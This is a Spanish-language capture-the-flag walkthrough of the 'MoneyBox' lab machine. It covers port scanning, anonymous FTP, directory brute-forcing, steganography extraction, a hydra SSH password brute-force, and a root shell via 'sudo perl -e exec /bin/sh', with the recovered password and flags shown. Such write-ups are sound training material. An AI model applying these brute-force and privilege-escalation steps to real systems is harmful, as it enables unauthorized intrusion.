Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 03:22 EDT
Nmap scan report for 192.168.195.144
Host is up (0.00052s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.195.128
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0         1093656 Feb 26  2021 trytofind.jpg
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 1e:30:ce:72:81:e0:a2:3d:5c:28:88:8b:12:ac:fa:ac (RSA)
|   256 01:9d:fa:fb:f2:06:37:c0:12:fc:01:8b:24:8f:53:ae (ECDSA)
|_  256 2f:34:b3:d0:74:b4:7f:8d:17:d2:37:b1:2e:32:f7:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: MoneyBox
MAC Address: 00:0C:29:88:87:78 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.52 ms 192.168.195.144

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.57 seconds
```

ftp

```
ftp anonymous@<IP>

get trytofind.jpg
```

Nos descargamos ese `.jpg`, lo utilizaremos mas adelante...

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST> -x php,html,txt -t 50 -r -k
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.195.144/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.php        (Status: 403) [Size: 280]
/.htpasswd.txt        (Status: 403) [Size: 280]
/.htaccess.txt        (Status: 403) [Size: 280]
/.htaccess.html       (Status: 403) [Size: 280]
/.htaccess            (Status: 403) [Size: 280]
/.htpasswd            (Status: 403) [Size: 280]
/.htpasswd.html       (Status: 403) [Size: 280]
/.htpasswd.php        (Status: 403) [Size: 280]
/blogs                (Status: 200) [Size: 353]
/index.html           (Status: 200) [Size: 621]
/server-status        (Status: 403) [Size: 280]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
```

Si nos vamos a `/blogs/` e inspeccionamos el codigo veremos un comentario que dice lo siguiente....

```
<!--the hint is the another secret directory is S3cr3t-T3xt-->
```

Por lo que leemos parece que hay un archivo llamado `S3cr3t-T3xt` que si lo ponemos en la `URL`...

```
URL = http://<IP>/S3cr3t-T3xt/
```

Si inspeccionamos la pagina veremso otro comentario que dice lo siguiente...

```
<!..Secret Key 3xtr4ctd4t4 >
```

Y eso sera la contraseña del salvoconducto para el siguiente comando...

```
steghide extract -sf trytofind.jpg
```

Poniendo como salvoconducto esa clave que encontramos nos extraera un archivo llamado `data.txt` que si lo leemos pondra lo siguiente...

```
Hello.....  renu

      I tell you something Important.Your Password is too Week So Change Your
Password
Don't Underestimate it.......
```

Ya sabemos que el usuario es `renu` por lo que tiraremos un `hydra`...

```
hydra -l renu -P <WORDLIST> ssh://192.168.195.144 -t 64
```

Info:

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is non-
binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-28 04:43:54
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip
waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries
(l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://192.168.195.144:22/
[22][ssh] host: 192.168.195.144   login: renu   password: 987654321
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 21 final worker threads did not complete until
end.
[ERROR] 21 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-28 04:44:15
```

Credentials

```
User = renu
Password = 987654321
```

Por lo que nos conectamos por `ssh`...

```
ssh renu@<IP>
```

Una vez dentro leemos la flag...

user1.txt

```
Yes...!
You Got it User1 Flag

 ==> us3r1{F14g:0ku74tbd3777y4}
```

Depues leemos la segunda flag ubicada en `/home/lily`...

user2.txt (flag2)

```
Yeah.....
You Got a User2 Flag

==> us3r{F14g:tr5827r5wu6nklao}
```

Si vamos al `.ssh` del usuario `lily` vemos que solo esta el archivo llamado `authorized_keys` y por lo que vemos no esta el `id_rsa` privado ni publico, por lo que nos podremos conectar al usuario `lily` sin contraseña dentro de la maquina...

```
ssh lily@<IP>
```

Pero ese comando dentro de la maquina, no desde nuestro `host`...

Si hacemos `sudo -l` veremos lo siguiente...

```
Matching Defaults entries for lily on MoneyBox:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User lily may run the following commands on MoneyBox:
    (ALL : ALL) NOPASSWD: /usr/bin/perl
```

Vemos que podemos ejecutar `perl` como `root` por lo que tendremos que hacer lo siguiente para ser `root`....

```
sudo perl -e 'exec "/bin/sh";'
```

Con esto ya seremos `root`, por lo que leeremos la flag...

.root.txt (flag3)

```
Congratulations.......!

You Successfully completed MoneyBox

Finally The Root Flag
    ==> r00t{H4ckth3p14n3t}

I'm Kirthik-KarvendhanT
    It's My First CTF Box

instagram : ____kirthik____

See You Back....
```